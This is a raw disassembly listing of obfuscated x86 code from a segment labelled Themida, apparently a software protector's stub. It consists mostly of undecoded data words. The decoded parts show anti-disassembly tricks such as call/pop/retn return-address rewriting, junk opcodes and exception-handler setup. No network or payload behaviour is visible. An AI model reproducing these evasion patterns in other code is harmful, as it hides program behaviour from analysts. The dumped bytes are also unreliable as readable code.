push eax
retn
sub_5C8842 endp
; ---------------------------------------------------------------------------
dw 0D07h
; ---------------------------------------------------------------------------
and ecx, 0FFFFFFFCh
push 0
push edx
call sub_5C8862
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8862 proc near ; CODE XREF: Themida_:005C885Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5C8862 endp
; ---------------------------------------------------------------------------
dec ebp
mov [ebp-4BF2F87Dh], bh
jl short loc_5C8829
jmp loc_5C8893
; ---------------------------------------------------------------------------
dd 79184C21h, 31006521h, 4771065h, 0D8E7F712h
; ---------------------------------------------------------------------------
push esp
xor bh, [ebx]
loc_5C8893: ; CODE XREF: Themida_:005C887Bj
cld
jle loc_5C88A2
jno loc_5C88A2
push ecx
pop ebx
loc_5C88A2: ; CODE XREF: Themida_:005C8894j
; Themida_:005C889Aj
mov eax, 0
push 0
push edi
call sub_5C88B2
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C88B2 proc near ; CODE XREF: Themida_:005C88AAp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C88B2 endp
; ---------------------------------------------------------------------------
dw 0BD70h
dd 6E0BB07Bh, 0B3D4B759h, 53D22B32h, 3896D381h, 0AD5F24B6h
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 79E3C350h
dd 6A0BD380h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 8A57C350h, 8E95557Ah, 18800Fh
dd 870F0000h, 12h, 0DE9h, 2629B400h, 72EDFFC3h, 7E25EEC1h
dd 880DC815h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 32BAC352h, 0CA64B211h
dd 8B788360h, 0A80FA99Dh, 9E907h, 0FD5B0000h, 0C621681Dh
dd 8B7BD6F5h, 0A8173195h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A15D9DB9h
dd 11CAD7F3h, 0C38166BAh, 8D8BEF64h, 7A80A59h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 24C35242h, 0CF811E02h
dd 346BDAB8h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0CA276FC3h, 1C5C541h, 10E93C85h, 0B5000000h
dd 6D70BE41h, 69220CDCh, 8A7766ECh, 6A07999Ah, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 3DC6C351h, 9A18572Fh, 1885BD83h, 0F0007A8h, 0AE84h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 787D3620h, 81666007h, 8AD55BD6h, 0B861CFh
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 31ADC356h, 0DE40F4E8h, 8B993B2Ch
dd 0A82919BDh, 4D8D8D07h, 6A07A84Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5EF2C351h
dd 25E3BB66h, 0AE3E22BFh, 6AE1FF4Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 1024C350h
dd 0BF0755FCh, 419589E9h, 8307A821h, 0A80939BDh, 840F0007h
dd 3BFh, 1A1DBD8Bh, 0BD8307A8h, 7A80939h, 0C7840F01h, 89000003h
dd 0A8180D95h, 39BD8307h, 307A809h, 37E860Fh, 0B70F0000h
dd 6A60FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 66B631C3h, 0E43F781h, 8BD98C66h, 0A824F99Dh
dd 8E907h, 0EC8E0000h, 0CD2C38FDh, 0E1809745h, 0D872BB04h
dd 0C90A390Ch, 144840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 8761D0C3h, 0AF260D39h
dd 858BF5F7h, 7A80BB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 0EFC35747h, 53529D1Ah, 0B5895F5Bh, 7A826F5h
dd 28718533h, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 20C612C3h, 3B89FC44h, 8B3E1604h
dd 0A826B59Dh, 0A7DF8007h, 21398589h, 509007A8h, 0BB525056h
dd 4FBE1B63h, 12E8310Fh, 0FE000000h, 78E60903h, 0DC67D2A6h
dd 28BD378Eh, 74FB3B66h, 585A5BBAh, 9D29905Fh, 7A82CD5h
dd 0BB66006Ah, 0BD8BBBDFh, 7A80F39h, 95BE0168h, 7E97Dh
dd 0C5930000h, 6F4461CFh, 2434818Dh, 7D8ABDFEh, 2AA5BD8Bh
dd 95FF07A8h, 7A80539h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0EC35545h, 0CEF54E83h, 8589D4C6h, 7ABBB2Bh
dd 32858D01h, 0BAE907A8h, 6A000001h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 30C1C352h
dd 0D18589EFh, 0F07A805h, 858BD8BFh, 7ABBB23h, 1800C7h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 172772C3h, 0BE1FD8B8h, 0E9A01546h, 0Fh, 0FD3F469h
dd 2C5B4539h, 88868286h, 8B5C8CACh, 0ABBB27B5h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0F01DD51Bh, 0B65FB824h, 0F60C331h, 681h, 890F00h, 0BB000000h
dd 136140F4h, 0CD858B61h, 3307A80Ch, 0A82DB59Dh, 50068907h
dd 3075BD8Bh, 8B5F07A8h, 0A80BB185h, 799D8B07h, 8907A80Fh
dd 8D890446h, 7A81DDDh, 44C8BF96h, 50507BCFh, 32BB6652h
dd 60310FE0h, 0CE9h, 42427B00h, 0DFAD6283h, 93FE1D63h
dd 0AFB966C1h, 585A617Ah, 52006A96h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0CEE0F697h
dd 89226ACBh, 0A829C5BDh, 23B5FF07h, 6A07ABBBh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0E8B9C356h, 282323CCh, 2D2BBB66h, 0CEB8A168h, 34BB6600h
dd 243481B0h, 0D1BB5Eh, 8BFE8B60h, 0A821C585h, 858D6107h
dd 7ABBB2Bh, 0DC23C381h, 0BB902BE9h, 50B175A7h, 8E950h
dd 0CA40000h, 0DFF6ACEAh, 6A909AF2h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F646C352h
dd 95FFF98Bh, 7A80539h, 1FA8B66h, 0A833A19Dh, 8D016107h
dd 7A81CD5h, 93985C7h, 307A8h, 0BD8B0000h, 7A8180Dh, 0BB2BBD83h
dd 0F0007ABh, 3784h, 58C0F00h, 0BF000000h, 11941030h, 42E9h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0EB394D3Bh, 0BB0732C8h, 18A68CD6h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 9232DF81h
dd 247D9D89h, 950907A8h, 7A82DB1h, 83F0D780h, 0A80939BDh
dd 850F0307h, 4A6h, 13E8h, 88ACC400h, 169C6882h, 2E844966h
dd 0D4059A4h, 13607AC7h, 0E8816660h, 0CE8AB11h, 56000000h
dd 3BCE10A6h, 4C5302C3h, 59011E92h, 0BD835F61h, 7ABBB2Bh
dd 67840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0A821C355h, 53CBDD2Ch
dd 60A964E7h, 0D35B589h, 820F07A8h, 6, 8EE6E281h, 1617235h
dd 0A822159Dh, 2BB5FF07h, 6A07ABBBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8AB3C351h
dd 400E4DCEh, 18BDBD01h, 8F0F07A8h, 0
; ---------------------------------------------------------------------------
call dword ptr [ebp+7A82475h]
push 0
push ebx
call sub_5C8FE5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8FE5 proc near ; CODE XREF: Themida_:005C8FDDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5C8FE5 endp
; ---------------------------------------------------------------------------
db 83h, 0B4h, 5Ah
dd 8A0F480Bh, 6, 21398589h, 0F88B07A8h, 0BB1FB58Bh, 9D0907ABh
dd 7A825C9h, 106C7h, 0BE90001h, 0CC000000h, 16A4ED51h
dd 0DEEDB39Eh, 50508D37h, 4890F52h, 66000000h, 0FE357BBh
dd 89585A31h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0BF274AC3h, 0FF190CC9h, 0ABBB2BB5h
dd 0E595FF07h, 6A07A823h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 87E4C350h, 9E9ABF66h
dd 0BB1FB58Bh, 0E38107ABh, 48852668h, 2941858Bh, 6A07A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0FDD214C3h, 8B66500Eh, 86895FF8h, 0C4h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C3C35343h, 75BD8B0Ah
dd 8B07A830h, 0A80F299Dh, 31958B07h, 6A07A817h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0E273C352h, 4C283CCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 6DC35747h, 0F4E52270h, 68A0Fh, 0BD8B0000h
dd 7A80B35h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 89AFC353h, 0A82839BDh
dd 0D98B6607h, 0CFC1858Dh, 6A07ABh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 667DC1C3h
dd 0E8F9BBBBh, 8, 44D0624Ch, 5074392Ch, 123C38BBh, 86895F3Ch
dd 0B8h, 6A05CB80h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0D27D8018h, 71F4976Ch
dd 1F97219h, 0A80C558Dh, 0D08B6007h, 0A5858B60h, 0F07A81Bh
dd 82h, 0FF616100h, 0ABBB2BB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0E595FF74h
dd 6A07A814h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 3DAAC357h, 0B06FB12Bh, 50D98B5Fh
dd 3489D88Bh, 11E924h, 9850000h, 4F8EC480h, 5EC4D0E2h
dd 2D31D8BAh, 0FF8E6DFAh, 0ABBB2BB5h, 0FF5B5007h, 0A81D0995h
dd 11952907h, 8307A82Bh, 0A81DFDBDh, 840F0007h, 59h, 88D0Fh
dd 8B600000h, 0A8139D85h, 50966107h, 96F98B66h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 76C35646h, 0D58080E5h
dd 0CCAB84B4h, 34B99D8Bh, 10E907A8h, 12000000h, 2E50D514h
dd 496010F8h, 0C81FD2CEh, 8B795536h, 0A82A8D9Dh, 2BB5FF07h
dd 0B707ABBBh, 0D595FF91h, 8B07A810h, 2BB5FFDFh, 0FF07ABBBh
dd 0A80B3995h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 67F9F7E4h, 0E1DF8166h
dd 0F5BD8380h, 207A831h, 86840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 160EEC3h
dd 0A83151B5h, 91B58B07h, 6107A804h, 2981858Bh, 6A07A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0BD8BA7C3h, 7A80EE9h, 2E29BD8Bh, 0C607A8h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0B096C05Ah, 0B150DE9Ch, 95897D86h, 7A80EADh, 21C985C7h
dd 7A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0A1E930C3h, 56FFFFF2h, 6AC18B5Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 3637C355h, 8DF5138Ah, 0A8042585h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 5C7BD98Fh, 0AE890h, 0D6F60000h, 4F12ACC6h, 17505446h
dd 10E9h, 1E65FF00h, 0FB751472h, 7B7E1FEh, 75B8AA71h, 60905BC7h
dd 0EA5ABB66h, 7C394BEh, 60506173h, 2E35BE53h, 66590AA5h
dd 9061D98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0F5C35343h, 0E78166E9h, 6A005Dh, 0B119D8Bh, 6A07A8h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B2C35242h
dd 927595E2h, 0A1D45BCDh, 0E38166C4h, 858DA76Eh, 7AC81C4h
dd 0DE9h, 59A86400h, 0B359090Ch, 6E8B7196h, 0C08394D9h
dd 0D9BF0F05h, 0BF665290h, 505B3208h, 0D63DBBBBh, 6A9030h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 6AFCB8C3h, 5BF6600h, 6A006A37h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 79EDC350h
dd 9B23846Ch, 6635DE3Bh, 51E7F381h, 8E9h, 93C11100h, 0DFBD2D2h
dd 3995FFE0h, 6A07A81Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0A7BBC355h, 19671577h
dd 9A3B8D8Dh, 0BB6607ABh, 0D1FF04C8h, 13E9FA8Bh, 0CF000000h
dd 52064A80h, 9723A0D9h, 59FAF1D5h, 47AF34Eh, 0BD834877h
dd 7A806A5h, 9E850F01h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2EBC352h
dd 0E944FBEBh, 0E156C18h, 33C9BD8Bh, 0DF8007A8h, 6A026AB9h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 1B0C357h, 0EF721BCAh, 0D01BD09h, 8D2907A8h
dd 7A80065h, 6E850h, 0A0B90000h, 0CA0391C3h, 2404895Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BAC35343h
dd 0FF2632A1h, 0A814E595h, 0C1B53107h, 2B07A833h, 0A80EDDBDh
dd 0F87E907h, 0E80000h, 5D000000h, 81CEED81h, 6A07ACh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 7EAF37C3h, 0D830Fh, 66600000h, 0DB9FDF81h, 0F319D29h
dd 8B6107A8h, 0A827A59Dh, 3858D07h, 6A07AB8Ch, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 5CDEC353h, 95016025h, 7A81CD5h, 24D1B501h, 0F6107A8h
dd 6050DFBFh, 8A5E5760h, 850F61C3h, 2, 89616160h, 6A2404h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 81F022C3h, 225DDCF3h, 35FF643Dh, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
push 0
push ebx
call sub_5C96FA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C96FA proc near ; CODE XREF: Themida_:005C96F2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5C96FA endp
; ---------------------------------------------------------------------------
dw 1544h
; ---------------------------------------------------------------------------
push ss
lodsd
mov [ebp+7A83409h], edx
inc dword ptr [ebp+7A80EE5h]
push 0
push edi
call sub_5C9725
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9725 proc near ; CODE XREF: Themida_:005C971Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C9725 endp
; ---------------------------------------------------------------------------
db 0F4h, 0FEh, 24h
dd 0C39AD4FEh, 8529ACD3h, 7A83395h, 6AFF6Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 64BD5BC3h
dd 0BD8B400Fh, 7A808EDh, 23D1B5FFh, 0B58907A8h, 7A80EE9h
dd 246D95FFh, 7E907A8h, 8B000001h, 0E600B0DAh, 0ADBD8B70h
dd 0E407A823h, 66D3B371h, 3CEE38BFh, 0EB830F61h, 8B000000h
dd 0A8181DBDh, 0C8B60F07h, 24299509h, 8B6607A8h, 6BADEh
dd 0BD330000h, 7A83051h, 0DF81C18Bh, 108BE79Dh, 1A5D9D89h
dd 0E8C107A8h, 5BD8B04h, 6607A808h, 0BD33E2F7h, 7A81031h
dd 9D89C82Bh, 7A825E5h, 9D8BD18Bh, 7A81DCDh, 1E9h, 858BF800h
dd 7A805C9h, 68A0Fh, 0EB810000h, 4526330Fh, 0F07C083h
dd 48Ch, 0B9BB6600h, 3595095Dh, 8307A80Ah, 10E900C0h, 4B000000h
dd 74850930h, 56B805DCh, 0DF142CB1h, 3B9025C0h, 16830FD0h
dd 81000000h, 335331D3h, 48E95Eh, 81660000h, 0B20D6F3h
dd 0A8182DBDh, 18D8B07h, 6607A805h, 0E183F88Bh, 2B840F01h
dd 8B000000h, 0A828D9BDh, 1A58307h, 0FE07A805h, 10859D29h
dd 89F807A8h, 0A805C995h, 0ADBD0907h, 107A82Fh, 0A82379BDh
dd 0E907h, 0B58D0000h, 7ABFE4Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 36C35242h, 73C38166h, 6A006A09h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0EAD4C357h, 0CD1565A4h, 0E9767E14h, 0Eh
dd 0C77E474Fh, 5A8A3715h, 0DC784C01h, 95FF8FA9h, 7A80D21h
dd 14ADCB81h, 55B911FFh, 51000008h, 2C6D9501h, 835F07A8h
dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 295D43C3h, 0A81AA59Dh, 6890F07h, 29000000h
dd 0A834F1BDh, 6AFC07h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0F26DD6C3h, 893BD170h, 0A82F5DB5h
dd 12E807h, 81D0000h, 87BA075Ah, 8FA44408h, 5D590BB1h
dd 0CFF529C5h, 5FFE8B66h, 0B8h, 45B50100h, 0BF07A808h
dd 17FA83F3h, 0BAh, 0BE800h, 0BF6F0000h, 0F725B1C1h, 7D3B9050h
dd 0D5BD29EBh, 5B07A818h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 151DBD8Bh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0B46D18C3h, 0AE9A29Ch, 21000000h
dd 231FF3E9h, 5EFC83C4h, 0B1BD3162h, 0D07A817h, 88h, 2D818589h
dd 958B07A8h, 7A81731h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0C7C35040h, 0A598D8Bh, 6A07A8h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 606037C3h, 0FFE8B66h, 8B61DFB7h, 0A834FDBDh, 9D896107h
dd 7A818FDh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 741379C3h, 7CE849B2h, 8D29D482h, 7A82D0Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 40C35141h
dd 0AFE8C2E3h, 58B0FF9h, 50000000h, 5BD88B66h, 18FDB501h
dd 0B70F07A8h, 85BD83FBh, 7A818h, 64840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0A9E947C3h, 5B793252h, 336DBD8Bh, 0B807A8h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 19F3C357h, 0BF66D19Ch, 8D8D3802h, 7A84E4Dh
dd 1D19BD8Bh, 0E1FF07A8h, 14B1BD8Bh, 0BD8307A8h, 7A80939h
dd 0E8840F00h, 8B000004h, 0A82D219Dh, 39BD8307h, 107A809h
dd 4F0840Fh, 8D0F0000h, 2, 0BF66FA8Bh, 0BD83FCB6h, 7A80939h
dd 0A1860F03h, 81000004h, 0A219D0D7h, 0C5BD8903h, 6007A830h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F1C35242h
dd 8398B409h, 9D807870h, 11E9h, 82C65400h, 51EFE146h, 29AD1C0Eh
dd 0D64FA22Dh, 8C66731Dh, 3D9D33D9h, 8007A827h, 6A04E1h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0A263DC3h, 38840FC9h, 8B000001h, 0A82DC1BDh, 0B1858B07h
dd 6A07A80Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0E6BBC351h, 29628C4Ah, 0A80F619Dh
dd 71853307h, 6A07A828h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 9391C353h, 0FBDBD8Bh
dd 958907A8h, 7A808C5h, 0DF8B6690h, 73BF9050h, 6A587D0Bh
dd 0F5BD8B00h, 0E807A805h, 4, 1F03FFh, 0AE9h, 0CD0F0700h
dd 0C6E07EF6h, 505CC606h, 9637BE60h, 51560F5Ah, 8B615E59h
dd 66042444h, 8BDE8Bh, 4244489h, 500EBF66h, 56006A58h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 14984F24h, 31F11A9Bh, 0BD8B2404h, 7A83491h, 53995FFh
dd 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 3A5B8BC3h, 7DC95E45h, 0BD89F4E1h, 7A82B1Dh
dd 0BB2B8589h, 0E9FC07ABh, 241h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0CCC35242h, 0EEB8ED3Dh, 8166851Eh
dd 8B1644EBh, 0ABBB2385h, 9DBD8B07h, 0F807A806h, 1800C7h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 1DB34EC3h, 4B94C68Eh, 33779D1Bh, 0A800199Dh
dd 0F98D8907h, 8B07A826h, 0ABBB27B5h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 8B59B392h, 0A80CCD85h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0CB81CF54h
dd 74B29983h, 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 73C832C3h, 8D29FC7Eh, 7A833EDh
dd 0BB1858Bh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 5CC37DC3h, 0BFBD8058h, 261C4E5Ah
dd 6A044689h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 72C1C356h, 8D7D7D2Dh, 0DBB70F53h
dd 0C2B75096h, 50006A96h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0BF66A2A4h, 0B5FF256Bh
dd 7ABBB23h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0B1C35343h, 2D9D338Dh, 6807A82Dh, 6DC33775h, 0FE85250h
dd 49000000h, 38450480h, 682E4024h, 14AAA518h, 0F5BE9EDh
dd 81585A31h, 348A2434h, 6A6DDCh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 3A91A8C3h, 8D29FB33h
dd 7A82359h, 0BB99D8Bh, 858D07A8h, 7ABBB2Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 7EC35747h, 7EC4F07Dh
dd 0B14C88A6h, 51BD8BCAh, 9007A82Dh, 9050A3B7h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 86C35545h, 600B003Fh
dd 0E76699B8h, 8B61F51Bh, 0A82D619Dh, 3995FF07h, 8B07A805h
dd 6A61D8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 57C6E3C3h, 4A1307F9h, 9D89A6B7h, 7A82795h, 29E58589h
dd 85C707A8h, 7A80939h, 3, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 6FC35242h, 4F8F8299h, 4410FCDDh, 13E9h
dd 0F102E900h, 8398B409h, 9D807870h, 0C4C9E7DEh, 3B8C8C1h
dd 0BB2BBD83h, 0F0007ABh, 5384h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2BBAA35Fh
dd 0A29F5524h, 5360E659h, 0A199D2Bh, 605A07A8h, 8F0Fh
dd 0FE90000h, 6A000000h, 1C25F42Bh, 0D2A429F2h, 252EE7EDh
dd 61618CBEh, 1EE9h, 0F98B6600h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 6644C352h, 0E934CB81h
dd 91BD8B57h, 5F07A807h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 8FC35646h, 601EC012h, 1C1D8D89h, 8D0907A8h
dd 7A8257Dh, 39BD8361h, 307A809h, 4CE850Fh, 0CE80000h
dd 7F000000h, 0BDE01BD0h, 0FB1E6CEBh, 8B1A90C9h, 0A834919Dh
dd 0BD835B07h, 7ABBB2Bh, 0A9840F00h, 0E8000004h, 6, 0EC04399Ch
dd 50510533h, 0FF5B5F5Fh, 0ABBB2BB5h, 0B5858907h, 0FF07A819h
dd 0A8247595h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0BD031982h, 7A805F5h
dd 0BB1FB58Bh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0F6B1A0C3h, 5585310Ah, 0C707A81Ah
dd 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 589EAD3Bh, 4B25BD22h, 39BD8BAAh
dd 0BF07A817h, 6B2A4985h, 50DE8B96h, 51006A96h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 451F85A2h
dd 8A0FF921h, 3, 0FFDAB70Fh, 0ABBB2BB5h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0B585898Eh, 8B07A81Ah, 0A805299Dh, 0E595FF07h, 6A07A823h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0D4B3C352h, 2AF1A579h, 0BF662469h, 0B58BF76Bh
dd 7ABBB1Fh, 45B589h, 858B07A8h, 7A82941h, 0D694BB66h
dd 26A9BD8Bh, 868907A8h, 0C4h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0A6C35343h, 0D71C02Bh, 46716B6Eh
dd 958BFC16h, 7A81731h, 2471BD89h, 13E907A8h, 0AC000000h
dd 4892FEBAh, 5C51CD80h, 27CC0C06h, 0B55D49C1h, 0C283FC33h
dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0CE5DD816h, 2050899Eh, 53F88B66h, 858D5BFCh
dd 7ABCFC1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 77C35040h, 8FC1F563h, 5DB8194h, 8912E590h, 0B886h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0E960517Dh, 11h, 0CBCAD171h, 8412CB16h
dd 941A6F9h, 4AD2DB64h, 5E9F0h, 0B69B0000h, 61F6B8A5h
